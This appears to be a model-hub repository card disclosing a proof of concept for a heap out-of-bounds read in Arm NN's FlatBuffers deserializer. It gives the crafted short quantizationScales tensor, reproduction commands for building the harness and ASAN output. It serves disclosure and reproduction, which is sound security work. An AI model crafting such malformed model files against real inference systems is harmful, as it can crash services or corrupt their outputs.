You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Arm NN FlatBuffers short per-axis quantizationScales OOB read PoC

Summary

A crafted Arm NN FlatBuffer model uses a QSymmS8 FullyConnected weight tensor with quantizationDim=1 and a quantizationScales vector shorter than the selected axis dimension. Arm NN accepts the model through deserialization, optimization, and network loading without error. During CpuRef FullyConnected inference, QSymm8PerAxisDecoder::GetScale() reads past the end of the scale vector. AddressSanitizer reports a heap-buffer-overflow.

Target

  • Project: ARM-software/armnn
  • Commit tested: f8beb5a9d50451dd06c804d6f7bbf8832f958125
  • Backend tested: CpuRef
  • Build tested: ASAN/UBSAN Debug
  • File format: Arm NN FlatBuffers serialized graph

PoC files

File Description
generate_armnn_quant_scale_short_oob.py Python script that writes the benign (seed) and mutated JSON model definitions
runtime_harness.cpp C++ harness that loads an .armnn model and runs deserialization, Optimize, LoadNetwork, and EnqueueWorkload
CMakeLists.txt CMake build configuration for the runtime harness
seed_quantized_model.json Benign minimal QSymmS8 FullyConnected model (FlatBuffers JSON)
seed_quantized_model.armnn Benign model compiled to Arm NN FlatBuffer binary
mut_quant_scale_short.json Mutated model with short quantizationScales vector (FlatBuffers JSON)
mut_quant_scale_short.armnn Mutated model compiled to Arm NN FlatBuffer binary
asan_full.log ASAN determinism log from three consecutive runs
release_behavior.log Non-ASAN Release build behavior log
SHA256SUMS.txt SHA256 hashes of all package files

Vulnerability mechanics

The PoC constructs a minimal FullyConnected graph with a QSymmS8 weight tensor:

  • Weight tensor shape: [3, 2]
  • quantizationDim: 1
  • Benign quantizationScales: [0.25, 0.5] (length 2, matching shape[1])
  • Mutated quantizationScales: [0.25] (length 1, shorter than shape[1])

The expected invariant is:

quantizationScales.size() == tensor.shape[quantizationDim]

For the mutated model:

shape = [3, 2]
quantizationDim = 1
tensor.shape[quantizationDim] = 2
quantizationScales.size() = 1    <-- violation

This invariant is not enforced during deserialization (Deserializer::ToTensorInfo()), TensorInfo construction, or workload validation. At inference time, QSymm8PerAxisDecoder::GetScale() in BaseIterator.hpp indexes m_Scales[m_AxisIndex] where m_AxisIndex can equal 1, but the scale vector only has 1 element (index 0). This triggers a heap out-of-bounds read.

Build requirements

  • CMake >= 3.16
  • C++17 compiler
  • FlatBuffers (flatc binary and development headers)
  • Arm NN built from source at commit f8beb5a9d50451dd06c804d6f7bbf8832f958125 with:
    • BUILD_ARMNN_DESERIALIZER=ON
    • BUILD_ARMNN_SERIALIZER=ON
    • ARMNNREF=ON (CpuRef backend)
    • ASAN/UBSAN enabled (-fsanitize=address,undefined)
    • CMAKE_BUILD_TYPE=Debug

Use placeholders below:

  • <ARMNN_SOURCE_DIR> โ€” path to the Arm NN source checkout
  • <ARMNN_BUILD_DIR> โ€” path to the Arm NN ASAN Debug build directory
  • <POC_DIR> โ€” path to this PoC package

Reproduction

1. Generate JSON model definitions

cd <POC_DIR>
python3 generate_armnn_quant_scale_short_oob.py

This writes seed_quantized_model.json and mut_quant_scale_short.json.

2. Compile JSON to Arm NN FlatBuffer binaries

cd <POC_DIR>

flatc -b --raw-binary -o . \
  <ARMNN_SOURCE_DIR>/src/armnnSerializer/ArmnnSchema.fbs \
  seed_quantized_model.json

flatc -b --raw-binary -o . \
  <ARMNN_SOURCE_DIR>/src/armnnSerializer/ArmnnSchema.fbs \
  mut_quant_scale_short.json

3. Build the runtime harness

cmake -S <POC_DIR> -B <POC_DIR>/build \
  -DARMNN_BUILD_DIR=<ARMNN_BUILD_DIR> \
  -DENABLE_SANITIZERS=ON \
  -DCMAKE_BUILD_TYPE=Debug

cmake --build <POC_DIR>/build -j

4. Run the seed model (expected: clean inference)

<POC_DIR>/build/runtime_harness \
  <POC_DIR>/seed_quantized_model.armnn \
  <ARMNN_BUILD_DIR>/src/backends/dynamic/reference

5. Run the mutated model (expected: ASAN heap-buffer-overflow)

<POC_DIR>/build/runtime_harness \
  <POC_DIR>/mut_quant_scale_short.armnn \
  <ARMNN_BUILD_DIR>/src/backends/dynamic/reference

Expected result

Seed model

DESERIALIZE_ACCEPTED bytes=708
OPTIMIZE_ACCEPTED
LOADNETWORK_ACCEPTED id=0
INFERENCE_ACCEPTED output_elements=2 values=1,2

Mutated model

DESERIALIZE_ACCEPTED bytes=712
OPTIMIZE_ACCEPTED
LOADNETWORK_ACCEPTED id=0
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
armnn::QSymm8PerAxisDecoder::GetScale() const BaseIterator.hpp:810
SUMMARY: AddressSanitizer: heap-buffer-overflow BaseIterator.hpp:810 in armnn::QSymm8PerAxisDecoder::GetScale() const

ASAN stack trace:

QSymm8PerAxisDecoder::GetScale()         BaseIterator.hpp:810
QSymm8PerAxisDecoder::DecodeTensor()     BaseIterator.hpp:822
FullyConnected()                         FullyConnected.cpp:28
RefFullyConnectedWorkload::Execute()     RefFullyConnectedWorkload.cpp:57
IRuntime::EnqueueWorkload()              Runtime.cpp:110
main                                     runtime_harness.cpp:88

Three consecutive ASAN runs all produce the same stack signature and address relationship:

0x602000002c54 is located 0 bytes after 4-byte region [0x602000002c50,0x602000002c54)

Release behavior

A non-ASAN Release build was also tested. The seed model produces the expected output (values=1,2). The mutated model terminates cleanly but produces divergent output (values=1,0).

This release behavior is secondary evidence only. The divergent output is consistent with undefined behavior caused by the out-of-bounds read, but the primary claim of this PoC is the ASAN-confirmed heap out-of-bounds read in the CpuRef FullyConnected inference path.

Non-claims

  • This PoC does not demonstrate code execution.
  • This PoC does not demonstrate disclosure of memory contents.
  • This PoC does not claim coverage across every Arm NN backend; only CpuRef was tested.
  • This PoC does not claim a universal model format scanner bypass.
  • The primary evidence is an ASAN-confirmed heap out-of-bounds read in the CpuRef FullyConnected inference path triggered by a crafted Arm NN FlatBuffer model file.

SHA256

See SHA256SUMS.txt for hashes of all package files.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support